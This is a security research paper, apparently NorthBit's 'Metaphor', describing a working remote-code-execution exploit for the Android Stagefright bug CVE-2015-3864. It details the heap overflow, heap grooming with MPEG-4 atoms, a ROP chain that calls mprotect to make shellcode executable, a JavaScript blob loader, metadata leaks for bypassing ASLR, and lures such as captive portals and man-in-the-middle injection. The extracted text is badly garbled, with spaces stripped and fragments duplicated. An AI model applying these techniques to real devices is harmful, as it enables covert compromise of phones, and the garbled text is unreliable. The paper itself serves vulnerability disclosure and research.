Sei sulla pagina 1di 38

Metaphor

A(real)real­lifeStagefrightexploit

ResearchedandimplementedbyNorthBit. 1 WrittenbyHananBe’er.

Revision1.1Represent!

Index

Overview Stagefright Metaphor ResearchGoals

TheMPEG­4FileFormat

TheBug­CVE­2015­3864

Exploitation

AttackVectors

RedirectingthevtabletotheHeap

HeapShaping

HeapSpraying

HeapGrooming

ROPChainGadgets

BreakingASLR

JavaScriptCapabilities

ReturningMetadata

ReturningMetadataAfterOverflow

BypassingProcessTermination

LeakingInformation

ASLRWeaknesses

DeviceFingerprinting

Findinglibc.so

PuttingItAllTogether

FinalRequirements

Summary

Bonus

ImprovingHeapSprayEffectiveness

ImprovingExploitationTimes

ResearchSuggestions

Credits

References

Overview

Inthispaper,wepresentourresearchonproperlyexploitingoneofAndroid’smostnotorious vulnerabilities­Stagefright­afeatpreviouslyconsideredincrediblydifficulttoreliablyperform. Ourresearchislargelybasedonexploit­38226 byGoogleandtheresearchblogpostinGoogle ProjectZero:Stagefrightened. 3

2

Thispaperpresentsourresearchresults,furtherdetailsthevulnerability’slimitationsand

depictsawaytobypassASLRaswellasfutureresearchsuggestions.

TheteamhereatNorthBithasbuiltaworkingexploitaffectingAndroidversions2.2­4.0and

5.0­5.1,whilebypassingASLRonversions5.0­5.1(asAndroidversions2.2­4.0donot

implementASLR).

Stagefright

StagefrightisanAndroidmultimedialibrary.Itdidn’tgetmuchattentionuntilJuly27th 2015,when

severalofitscriticalheapoverflowvulnerabilitieswerediscoveredanddisclosed.Theoriginal

vulnerabilitywasfoundbyJoshuaDrakefromZimperium

4 ,affectingAndroidversions1.0­5.1.

Fromhereonweshallrefertothelibraryas“libstagefright”andtothebugitselfsimplyas

“stagefright”.

Althoughthebugexistsinmanyversions(nearlya1,000,000,000devices)itwasclaimed

impracticaltoexploitin­the­wild,mainlyduetotheimplementationofexploitmitigationsinnewer

Androidversions,specificallyASLR.

Metaphor

Metaphoristhenameofourstagefrightimplementation.Wepresentamorethoroughresearch oflibstagefrightandnewtechniquesusedtobypassASLR.LiketheteamatGoogle,weexploit CVE­2015­3864 asitismuchsimplertoimplementratherthanthevulnerabilityinJoshua Drake’sexploit,CVE­2015­1538. 6

5

4 JoshuaDrake’spresentation:

ResearchGoals

Thereasontokeepresearchingthislibraryisbecauseithasproventobeveryvulnerableinthe

past(multiplebugsandbadcode),affectsnumerousdevicesandhasmanygoodpotential

attackvectors:mms(stealthy),instantmessaging(automatic),webbrowser(minimal­to­nouser

interaction)andmore.

Weaimtoachieveamoregenericandpracticalexploitthanpreviouslypublishedwork,where

practicalmeansfast,reliableandstealthy­ideallyusingexistingvulnerabilitiesonly.

Inshort­ourgoalistobypassASLR.

TheMPEG­4FileFormat

TounderstandthisvulnerabilityitisnecessarytounderstandtheMPEG­4fileformat.Luckilyit

isquitesimple:itisacollectionofTLV(Type­Length­Value)chunks.Thisencodingmethod

meansthere’savaluecalled“typespecifyingthechunktype,a“lengthvalueofthedatalength

anda“chunk”valueofthedataitself.

InthecaseofMPEG­4,theencodingisactually“length”first,then“type”andfinally“value”.The

followingpseudo­CdescribestheMPEG­4chunkformat:

structTLV

{

uint32_tlength;

charatom[4];

chardata[length];

};

Whenlengthis0,datareachesuntiltheendoffile.Theatomfieldisashortstring(alsocalled

7

FourCC)thatdescribesthechunktype.

Typesthatrequiremoreinformationthan2^32bytesuseaslightlydifferentformat:

structTLV64

{

uint32_tone;//specialconstantlength

charatom[4];

uint64_tlength64;//actuallength

chardata[length64];

};

Thetypesareinatreestructurewherechildchunksresidewithinthedataoftheparentchunk.

Thefollowingisadiagramofhowamediafilemightlooklike:

TheBug­CVE­2015­3864

Manyarticleshavebeenwrittenaboutthisverysamebug,soaquickoverviewwillsuffice. We’reusingAndroid5.1.0sourcecode unlessstatedotherwise.

8

ThisspecificbuginlibstagefrightinvolvesparsingMPEG­4files,ormorespecificallythetx3g

atomwhichisusedtoembedtimed­text(subtitles)intomedia.

First,let’sseewhatthecodeismeanttodo.

caseFOURCC('t','x','3','g'):

{

uint32_ttype;

constvoid*data;

size_tsize=0;

/*findprevioustimed‐textdata*/ if(!mLastTrack‐>meta‐>findData( kKeyTextFormatData,&type,&data,&size)){ /*noprevioustimed‐textdata*/

size=0;

}

/*allocateenoughmemoryforboththeoldbufferandthenewbuffer*/

uint8_t*buffer=new(std::nothrow)uint8_t[size+chunk_size];

if(buffer==NULL){

returnERROR_MALFORMED;

}

/*iftherewasanyprevioustimed‐textdata*/

if(size>0){

/*copythedatatothebeginningofthebuffer*/

memcpy(buffer,data,size);

}

/*append(orset)currenttimed‐textdata*/

if((size_t)(mDataSource‐>readAt(*offset,buffer+size,chunk_size))

<chunk_size){

/*errorreadingfromfile‐shouldn'thappenonvalidmedia*/

delete[]buffer;

buffer=NULL;

//advancereadpointersowedon'tendupreadingthisagain

*offset+=chunk_size;

/*signalareaderroroccurred*/

returnERROR_IO;

}

/*settimed‐textdatatothenewbuffer‐willreplacetheoldone*/ mLastTrack‐>meta‐>setData(

kKeyTextFormatData,0,buffer,size+chunk_size);

delete[]buffer;

/*eachchunkhandlesadvancingoffset*/

*offset+=chunk_size;

break;

}

Quitesimple­thiscodecollectsalltimed­textchunksandappendsthemintoonesinglelong

buffer.

Bothsizeandchunk_sizeareuncheckedandinourcontrol,allowingustocauseaninteger

overflowhere:

uint8_t*buffer=new(std::nothrow)uint8_t[size+chunk_size];

Toachieveaheapoverflowweneedtohaveatleastonelegittx3gchunk,bothfortheinteger

overflowpartandforthiscondition:

/*iftherewasanyprevioustimed‐textdata*/

if(size​​>0){

​​ ​/*copythedatatothebeginningofthebuffer*/ memcpy(buffer,data,size);

}

whichwillresultinsizebytesfromdatatobewrittenintobufferregardlessofbuffer’sactual

allocatedsize.

Bycarefullyshapingtheheapwecan:

● Controlsize­howmuchtowrite

● Controldata­whattowrite

● Predictwhereourobjectwillbeallocated

○ Allocatedsize(size+chunk_size)isinourcontrol

○ Androidusesjemallocasitsheapallocator(whichwecoverlaterinthispaper)

Consideringthis,itseemsexploitationshouldbeprettysimple­we’vegotaheapoverflowwith

sizeanddatainourcontrol.Unfortunatelytherearemanylimitations,whichcomplicate

exploitationsignificantly.

Exploitation

Inthissectionwewilldescribehowourexploitworks,itslimitationsandthediscoveriesthat

madeexploitationpossible.

AttackVectors

Thevulnerabilityisinmediaparsing,whichmeansthatthevictim’sdevicedoesn’tevenneedto

playthemedia­justparseit.Parsingisdoneinordertoretrievemetadatasuchasvideolength,

artistname,title,subtitles,comments,etc.

OurfinalattackvectorisviathewebbrowseraswerequireexecutingJavaScript,whichhasits

strengthsandlimitations.Methodstolurevictimsintoourmaliciouswebpagemayinclude:

● Attackwebsite

○ Couldbedisguised­“watchthe<latestmovie>fullHDonline”

● Hackedwebsite

○ Couldlooklegitwithhiddencontent(iframes,invisibletags

● XSS

)

○ Trustedwebsitewithmaliciouscontent

● Ads 9

○ Onlyin<script>or<iframe>tags

● Drive­by

○ FreeWi­Fi

■ Automaticallypop­upwebbrowserwithmaliciouscontentusingacaptive portal 10

■ Man­in­the­Middle­injectmaliciousnetworktraffic

○ QRcodeonbusstationsofferinggameswhilewaitingforthebus

Someoftheattackvectorsthatwillnotworkwithourmethodinclude:

● Web

○ Ads

■ “Legitimate”(ornot)adsasvulnerablemedia

○ Blogorforumpost

■ Embeddedmedia

● MMS­automaticallyfetchedandparsed

○ DisabledonAndroid5.1+

● InstantMessaging

○ WhatsApp,Telegram,Viber,Skype,FacebookMessenger,etc.

○ Datingapps

■ Vulnerablemediainattacker’sprofile

9 requiresexecutingJavaScript 10 https://en.wikipedia.org/wiki/Captive_portal

Thevictimalsohastolingerforatimeintheattackwebpage.Socialengineeringmayincrease

effectivenessofthisvulnerability­oranymethodtoattackthevictimregularly,suchas

changingthehomepage.

RedirectingthevtabletotheHeap

Let’sreviewthevulnerablepieceofcodeonceagain:

if(size>0){

/*ouroverflowwilloccurhere*/

memcpy(buffer,data,size);

}

/*virtualtablecall,partialcontrolofparameters*/

if((size_t)(mDataSource‐>readAt(*offset,buffer+size,chunk_size))

<chunk_size){

/*cannotavoidenteringthisblock*/

delete[]buffer;

buffer=NULL;

//advancereadpointersowedon'tendupreadingthisagain

*offset+=chunk_size;

/*thisisprettymuchtheendoftheroadforus*/

returnERROR_IO;

}

ThesimplestwaytoexploitthiswouldbetoshapetheheapsothatthemDataSourceobjectis allocatedrightafterouroverflowedbufferandthen(usingthebug)overwritemDataSources virtualtabletoourownandsettherespectivereadAtentrytopointtoourownmemory.Thisis

howexploit­38226wasimplemented.

● Givesusfullcontrolofthevirtualtable

○ Redirectinganymethodtoanycodeaddress

● Requiresknowingorguessingourfaketable’saddress

○ PredictableasshownbyGoogleProjectZero:Stagefrightened

● Requiresknowinglibc.sofunctionaddressesforROPchaingadgets ○ i.e.breakingASLR!

HeapShaping

TounderstandMetaphorbetterandhowASLRisbypasseditisimportanttounderstandhow Android’sheapallocatorworks­jemalloc .

11

Fornowallyouneedtoknowisthatjemallocallocatesobjectsofsimilarsizesinthesamerun.Arunisbasicallyanarrayofbuffersofthesamesizecalledregions.Objectssizesslightly smallerthantherespectiveregion’sfixedsizewillberoundedup. Thefollowingdiagram,borrowedfromagreatjemallocpaper ,illustratesthiswell:

12

j ​ emallocpaper ,illustratesthiswell: 1 2 1 2 ​

12 jemallocpaperfromanhacker’spointofview,byPatroklosArgyroudisandCharitonKaramitas:

HeapSpraying

Heapsprayingisdoneusingthepsshatom.Whentheparserencountersapsshchunk,it

allocatesabufferandappendsittoalistofbuffers:

pssh.data=new(std::nothrow)uint8_t[pssh.datalen];

if(pssh.data==NULL){

returnERROR_MALFORMED;

}

ALOGV("allocatedpssh@%p",pssh.data); ssize_trequested=(ssize_t)pssh.datalen;

if(mDataSource‐>readAt(data_offset+24,pssh.data,requested)<requested){

returnERROR_IO;

}

mPssh.push_back(pssh);

Wecontrolitssizeandwecanprovideverylargevalues.Itslimitationisthatthemediafilehas

toincludedataofthatsizebutweshallseelaterhowtoovercomethislimitation.

HeapGrooming

Heapgroomingisdifferentthansimplysprayingtheheapbyallocatingmanyobjects.By controllingtheorderofallocationsanddeallocations,wecandesigntheorderofheapobjectsin

apredictablefashion.Inexploit­38226thisisdoneusingavcCandhvcCchunks:

caseFOURCC('a','v','c','C'):

{

*offset​​+=chunk_size;

sp<ABuffer>buffer=newABuffer(chunk_data_size);

if(mDataSource‐>readAt(

data_offset,buffer>data(),chunk_data_size)<chunk_data_size){

returnERROR_IO;

}

mLastTrack‐>meta‐>setData(

kKeyAVCC,kTypeAVCC,buffer‐>data(),chunk_data_size);

break;

}

(ThehvcCisvirtuallyidentical)

TheparserallocatesabufferofcontrolledsizeandthenpassesittoMetaData::setData.

TheMetaData::setDatamethodthencopiesthedataintoanewbufferandthendeletesthe

previousentry­whosesizeisalsoinourcontrol.

Thismethodwasinconsistentbetweendifferentdevices,perhapsduetodifferentjemalloc configurationsandthetwoallocationsofthesamesize­onetemporarybufferin

MPEG4Extractor::parse3GPPMetaDataandanotherfortheinternalMetaDataobject.

AmoregenericmethodforheapgroomingistousetheMPEG­4atomstitl,pref,authandgnre.

TheseareparsedinsideMPEG4Extractor::parse3GPPMetaData:

caseFOURCC('t','i','t','l'):

{

 

metadataKey=kKeyTitle;

break;

}

caseFOURCC('p','e','r','f'):

{

 

metadataKey=kKeyArtist;

break;

}

caseFOURCC('a','u','t','h'):

{

 

metadataKey=kKeyWriter;

break;

}

caseFOURCC('g','n','r','e'):

{

 

metadataKey=kKeyGenre;

break;

}

mFileMetaData‐>setCString(metadataKey,(constchar*)buffer+6);

TheMetaData::setCStringmethodcopiesanull­terminatedstringstartingfrombuffer+6:

boolMetaData::setCString(uint32_tkey,constchar*value){

returnsetData(key,TYPE_C_STRING,value,strlen(value)+1);

}

Wecontrolthetemporarybuffersizewithchunk_sizeandtheactualcopiedbufferwiththe

positionofanullbyte,enablingustoallocatethetemporaryobjectinadifferentrunandgiving

usgreaterflexibilityinexploitation.

NotethatonceweaddanalreadyexistingentrytoMetaData,itreplacestheoldentry.The

aforementionedMPEG­4atomsprovideusfouridenticalprimitivestocontroltheheap.

InordertooverwritemDataSource,weneedtomoveitfurtherdowntheheap­toalocationfor

whichwecanpredicttheheap’sorder.Thisisdoneasinexploit­38226,usingthestblatomthat

reallocatesmDataSource:

if(chunk_type==FOURCC('s','t','b','l')){

ALOGV("sampleTablechunkis%"PRIu64"byteslong.",chunk_size);

if(mDataSource‐>flags() &(DataSource::kWantsPrefetching |DataSource::kIsCachingDataSource)){

sp<MPEG4DataSource>cachedSource=

newMPEG4DataSource(mDataSource);

if(cachedSource‐>setCachedRange(*offset,chunk_size)==OK){

mDataSource=cachedSource;

}

}

mLastTrack‐>sampleTable=newSampleTable(mDataSource);

}

NotethatthestblatomallocatesanewMPEG4DataSource­sinceourattackvectorisviathe

webbrowser,mDataSourceisoftypeNuCachedSource2andNuCachedSource2::flagsis:

return(flags|kIsCachingDataSource);

ThefollowingdiagramillustratestheprocessofgroomingtheheaptooverflowmDataSource:

The ​ pssh ​ atomsareusedtospraytheheapsuchthatnewheaprunswithpredictableorderare used.Thenthe ​ titl ​ and ​

Thepsshatomsareusedtospraytheheapsuchthatnewheaprunswithpredictableorderare used.Thenthetitlandgnreatomsareusedasplaceholders­firsttitlandthengnreare

allocated,gnreisdeallocatedandthenweallocateanMPEG4DataSourceusingthestblatom.

Whenwedeallocatetitlthatblockisfreedthusthenextallocation,thetx3gatom,willtakeits

place.

ROPChainGadgets

SlightchangestotheROPchainpresentedinGoogle’sexploit­38226weremade.

Forexample,mmapandmemcpywereusedtoallocatetheshellcode­wheninfactthereis

alreadyabufferwhoseaddressisknown:

#addressofthebufferweallocateforourshellcode

mmap_address=0x90000000

Wecansimplyreplacethesetwogadgetswithmprotect.

(Notethatthisaddressmaynotbethesameforalldevices)

Complexgadgetswereusedtopoptoomanyunneededparametersfromthestackandthus

complicatingtheROPchain.Instead,wesimplyusepop{pc}andpop{r0,r1,r2,pc}

instructionsonly.

Thesamestackpivotgadgetisused,asshowninGoogleProjectZero:Stagefrightened:

ADD

R2,R0,#0x4C

LDMIA

R2,{R4,R5,R6,R7,R8,R9,R10,R11,R12,SP,LR}

TEQ

SP,#0

TEQNE

LR,#0

BEQ

botch_0;wewon'ttakethisbranch,aswecontrollr

MOV

R0,R1

TEQ

R0,#0

MOVEQ

R0,#1

BX

LR

“Thiswillloadmostoftheregisters,includingthestackpointer,fromanoffsetonr0,which

pointstodatawecontrol.Atthispointit’sthentrivialtocompletetheexploitwithaROPchainto

allocatesomeRWXmemory,copyinshellcodeandjumptoitusingonlyfunctionsandgadgets

fromwithinlibc.so.”(GoogleProjectZero)

Thesearethefouraddressesneededtoknowforourremotecodeexecutionexploit:

1.Callvoidfunction:

pop

{pc}

2.Callfunctionwithupto3parameters:

pop

{r0,r1,r2,pc}

3.Replacestackandcallshellcode:

add

r2,r0,#76

;0x4c

ldm

r2,{r4,r5,r6,r7,r8,r9,r10,r11,r12,sp,lr}

bx

lr

4.Andmprotect,usedtomarkaregionasexecutableandreturn:

bx

lr

WealreadyknowtheexactsizeofmDataSource­whichisoftypeMPEG4DataSourceatthe

timeoftheoverflow:

(gdb)p/xsizeof(android::MPEG4DataSource)

$2=0x20

andasshowninIDA,readAt’soffsetinthevtableis7:

​ ​ 0x20 andasshowninIDA,readAt’soffsetinthevtableis7: readAt ​ ’soffsetinbytesis: 7 ​ ​ * ​ ​ sizeof

readAt’soffsetinbytesis:

7*sizeof(void*)=0x1c

Inalldevicestested,boththesizeofMPEG4DataSourceandtheoffsetofreadAtremainedthe

same.

ThefinalROPchainlookslikethisonthestack,showingwhichregistercopiesthatentry:

pc=stackpivotgadget

pc=pop{r0,r1,r2,pc}gadget

r0=shellcodepage‐alignedaddress

r1=size(ofshellcode)

r2=protection(7=RWX)

pc=mprotectaddress

pc=pop{r0,r1,r2,pc}gadget

r0=shellcodeparam1

r1=shellcodeparam2

r2=shellcodeparam3

pc=shellcodeaddress

Therestofthecodeexecutionexploitissimilartoexploit­38226.

BreakingASLR

BreakingASLRrequires someinformationaboutthedevice,asdifferentdevicesuseslightly differentconfigurations­whichmaychangesomeoffsetsorpredictableaddresseslocations.

Usingthesamevulnerability,itispossibletogainarbitrarypointerreadtoleakbacktotheweb

browserandgatherinformationinordertobreaktheASLR.

However,ourabilitytoreadmemoryisverylimited,astherearemanylimitationsforthis

vulnerability.

JavaScriptCapabilities

Sinceweareattackingviathewebbrowser,weassumewecanexecuteJavaScript.

MetadataencodedinsidethemediafilecanbeaccessedthroughJavaScriptusingcertain

<video>tagproperties,suchasvideoWidth,videoHeightandduration.

Wecanusetheheapoverflowvulnerabilitytooverwriteapointertothismetadatatoarbitrary

memorylocations­sothatarbitrarymemorycanbesentbacktothebrowserandthenbecome

accessiblebyJavaScript.

ReturningMetadata

AllmetadataisstoredwithintheMetaDataclass.Themediahasitsownmetadatacalled

mFileMetaData:

sp<MetaData>mFileMetaData;

AndeachTrackhasitsownmetafield:

structTrack{

sp<MetaData>meta;

};

ThemetadatawillonlybereturnedtothebrowserifmInitCheckissettoOK:

sp<MetaData>MPEG4Extractor::getMetaData(){

status_terr;

/*ReturnsemptymetadataifresultisnotOK*/

if((err=readMetaData())!=OK){

returnnewMetaData;

}

returnmFileMetaData;

}

andmInitCheckisonlybeingsetwhenparsingthemoovatom:

}elseif(chunk_type==FOURCC('m','o','o','v')){

/*Thisbasicallymeansatleastsomemetadataexists*/

mInitCheck=OK;

if(!mIsDrm){

returnUNKNOWN_ERROR;//Returnadummyerror.

}else{

returnOK;

}

}

Includinga“moov”chunkearlyenoughinthemediafileguaranteesthatmetadataissentback

tothewebbrowser.

Note:thisdoesnotworkonAndroidversions4.4.4andbelow.Thecodefortheseversions

seemstoonlyacceptamoovchunkthatcontainstheentireremainderofthefile.Otherwise,

oncethe“moov”chunkendsthenUNKNOWN_ERRORisreturnedasthereisnoDRM

contentandboththeMPEG­4atoms“sidx”and“moof”terminatesparsing:

1314 ,

MPEG4Extractor.cpp:470:(Androidversion4.4.4)

status_tMPEG4Extractor::readMetaData(){

while(true){

err=parseChunk(&offset,0);

if(err==OK){

continue;

}

uint32_thdr[2];

if(mDataSource‐>readAt(offset,hdr,8)<8){

break;

}

uint32_tchunk_type=ntohl(hdr[1]);

if(chunk_type==FOURCC('s','i','d','x')){

//parsethesidxboxtoo

/*continueforjustonelastrunandreturnsUNKNOWN_ERROR*/

continue;

}elseif(chunk_type==FOURCC('m','o','o','f')){

//storetheoffsetofthefirstsegment

mMoofOffset=offset;

}

break;

SothismethodisonlyapplicabletoAndroidversions5.0­5.1.

14 itisworthtonotethatDRMwasnotlookedintoenoughduringthisresearch

ReturningMetadataAfterOverflow

Unfortunately,wecannotreusethesamemediafiletoexecutemultipleoverflow­

WecannotavoidreturningERROR_IOfromMPEG4Extractor::parseChunkaftertriggeringthe

tx3gbug:

if((size_t)(mDataSource‐>readAt(*offset,buffer+size,chunk_size))

<chunk_size){

delete[]buffer;

buffer=NULL;

//advancereadpointersowedon'tendupreadingthisagain

*offset+=chunk_size;

returnERROR_IO;

}

Thereturnvalueisconvertedtosize_t(32­bit)andcomparedtochunk_size(64­bit)­whichis

muchgreaterthan2^32inordertoachieveintegeroverflow.

TheMPEG4Extractor::parseChunkmethodacceptsachunkoffsetandchunkdepth.This

methodparsesthechunkandhandlesadvancingoffset.

status_tMPEG4Extractor::parseChunk(off64_t*offset,intdepth){

ForcertainMPEG­4atoms,itwillalsoparseinnerchunksrecursively.Ifparsingwas

successful,offsetwilladvancetotheendofthechunk.

Aftercausinganoverflowwithverylargevalues,wereturnherefromtx3gparsing:

/*insidetheparseChunkmethod*/ while(*offset<stop_offset){ /*recursivecalltoparseChunk*/

status_terr=parseChunk(offset,depth+1);

/*ifERROR_IOisreturnedtherecursionwillexit*/

if(err!=OK){

returnerr;

}

}

whichinturnbringsusto:

status_tMPEG4Extractor::readMetaData(){

while(true){

off64_torig_offset=offset;

err=parseChunk(&offset,0);

/*ifERROR_IOreturnedstopparsingchunksbyexitingtheloop*/

if(err!=OK&&err!=UNKNOWN_ERROR){

break;

}

}

returnmInitCheck;

}

SoifERROR_IOisreturnedthenallparsingisstopped:

status_tMPEG4Extractor::readMetaData(){

while(true){

off64_torig_offset=offset;

err=parseChunk(&offset,0);

if(err!=OK&&err!=UNKNOWN_ERROR){

}

break;

}

/*mInitCheckmustbeOKforthemetadatatoreturn*/

returnmInitCheck;

}

meaningwecannotreusethesamemediafiletoexecutemultipleoverflows.

BypassingProcessTermination

WhenusingHTTPtostreamvideos,mDataSourcewillbeoftypeNuCachedSource2.

ThemethodNuCachedSource2::readAt,pointedbymDataSource­>readAt,triggersacallto

NuCachedSource2::readInternal­whichwillterminatemediaserverifsizeisreallylarge:

ssize_tNuCachedSource2::readInternal(off64_toffset,void*data,size_tsize){

CHECK_LE(size,(size_t)mHighwaterThresholdBytes);

CHECK_LEwillterminatetheprocessonfailure,andsinceitisinverylargeinordertoexploit,

thecheckinNuCachedSource2::readInternalwillalwaysfailonceweattempttoexploitthebug.

Toavoidprocesstermination,weneedtobypassthecalltoNuCachedSource2::readInternal.

ByloadingmediafromJavaScriptusingXMLHttpRequestwithresponseType=‘blob’,the

browsercachesthevideointhefilesystem.UsingURL.createObjectURL,wecanreferencethat

cachedfilelikethis:

<html>

<bodyonload="load_video();">

<videoid="vid_container"controlsautoplay/>

<script>

functionload_video()

{

varxhr=newXMLHttpRequest;

xhr.responseType='blob';

xhr.onreadystatechange=function()

{

 

/*DownloadiscompletewhenreadyStateis4*/

if(xhr.readyState==4)

{

/*GetaURLtoreferencethatblobobject*/

varurl=URL.createObjectURL(xhr.response);

varmedia=document.getElementById('vid_container');

/*Loadmediafromthatcachedobject*/

media.src=url;

alert(url);

}

};

xhr.open('GET','test.mp4',true);

xhr.send();

}

</script>

</body>

</html>

TheURL.createObjectURLfunctioncreatesaURLtoreferencethechunkofdatain

xhr.response.

Here’sanexampleofanobjectURL:

blob:http://metaphor/107e0bf5‐df27‐4bb8‐b552‐06271dde7b1c

WhenChrometriestoaccess“blob”URLs,itactuallyaccessesthemasalocalresource.We

canseethefileinChrome’scache:(“ls­a”showshiddenfiles)

root@metaphor:/#ls‐a/data/data/com.android.chrome/cache

.com.google.Chrome.elLxlx

Cache

CrashReports

MediaCache

com.android.opengl.shaders_cache

andindeedmediaserverhasanopenfiledescriptorpointingthere:(“ls­l”followslinks)

root@metaphor:/#ls‐l/proc/`pidofmediaserver`/fd

0‐>/dev/null

1‐>/dev/null

21‐>/data/data/com.android.chrome/cache/.com.google.Chrome.elLxlx

SincethisURLpointstothefilesystem,mediaserversetsthedatasource(mDataSourceinour

case)toanobjectoftheFileSourceclassinsteadoftheNuCachedSource2class.

ThedifferencebetweentheseclassesisthatNuCachedSource2handlesHTTPstreamingand

cachingofonlinemediawhileFileSourcecanperformseekandreadoperationsonlocalfiles.

TheFileSource::readAtmethoddoesnotuseanyCHECK_xxmacros­whichmeanswe

bypasstheprocessterminationproblem!

LeakingInformation

Asmentionedbefore,mediaserverparsesandsendsmetadatafromwithinthemediafileback tothewebbrowser.ThemetadataisstoredinsideMetaDataobjects,thatstorealldataintheir

mItemsfields,whichareessentiallyadictionaryofFourCC(4characterscode)keysto

MetaData::typed_datavalues:

KeyedVector<uint32_t,typed_data>mItems;

Andtyped_dataisdeclaredinthesamefile:

structtyped_data{

uint32_tmType;

size_tmSize;

union{

void*ext_data;

floatreservoir;

}

}u;

IfmSizeislargerthan4,ext_datawillpointtomemorywherethedataisheld.Otherwise,

reservoirwillcontainthedata.Notethatthisisaunion,meaningext_dataandreservoirboth

sharethesameaddress.

KeyedVectorobjectsstoredataintheirmStoragefield(inheritedbyVectorImplclass):

void*

mStorage;//baseaddressofthevector

ThecontentsofmStorageisanarrayofkeysandMetaData::typed_dataelements.Hereishow

itlookslikeinGDB:

Breakpoint4,android::MetaData::setInt64(this=0xb460b080,key=key@entry=1685418593,

value=362)atframeworks/av/media/libstagefright/MetaData.cpp:68

(gdb)x/16wx$r0

0xb48101e0:

0xb65c8df0

0xb480f300

0xb65c8dc0

0xb4818110

0xb48101f0:

0x00000004

0x00000000

0x00000010

0x00000000

0xb4810200:

0x6c707061

0x74616369

0x2f6e6f69

0x6574636f

0xb4810210:

0x74732d74

0x6d616572

0x00000000

0x00000000

(gdb)x/16wx*($r0+0x0c)

 

0xb4818110:

0x64486774

0x696e3332

0x00000004

0x000000cc

0xb4818120:

0x64576964

0x696e3332

0x00000004

0x000001e0

0xb4818130:

0x6d696d65

0x63737472

0x00000019

0xb4810200

0xb4818140:

0x74724944

0x696e3332

0x00000004

0x00000001

Fromtheexampleabove:

0xb4818130:

0x6d696d65

0x63737472

0x00000019

0xb4810200

“mime”

“cstr”

25bytes

“application/octet‐stream”

ByoverwritingthecontentsofthemStoragearrayitself,wecanoverwritemetadatapointersto

pointtoarbitrarylocationsinmemory,thusleakinginformationbacktothewebbrowser!

Notethatanysizelargerthan4isapointer,butwealsocontrolthesize­weavoidusing

pointersforunusedorunneededmetadatafieldsbysettingtheirsizesto4orless.Evenforthe

mandatorymime­typefield,wecansimplysetittoanull­terminatedstringofsize4orless.

BecausemSizemustbegreaterthan4,wecanonlyachieveamemoryleakthroughthe

durationfield­whichis8byteslongandthusalsoapointer.ThesizesofvideoWidthand

videoHeightfieldsareonly4bytesandhencecannotbeusedtoleakmemory.Settingssizes

largerthan4forthesefieldswillcausetheprocesstoterminate.

KeyedVector<key,value>storesitsdatausingSortedVector<key_value_pair_t<key,value>>.

WhenanewvalueisaddedtoaKeyedVector,thevalueisinsertedtothesortedvectorsuch

thattheorderofelementsremainssortedbykey.

Here’sanotherexampleofrawKeyedVectordatafromametadata­richmediafile,showinghow

itissortedbykey:

ADDRESS

KEY

TYPE

SIZE

VALUE<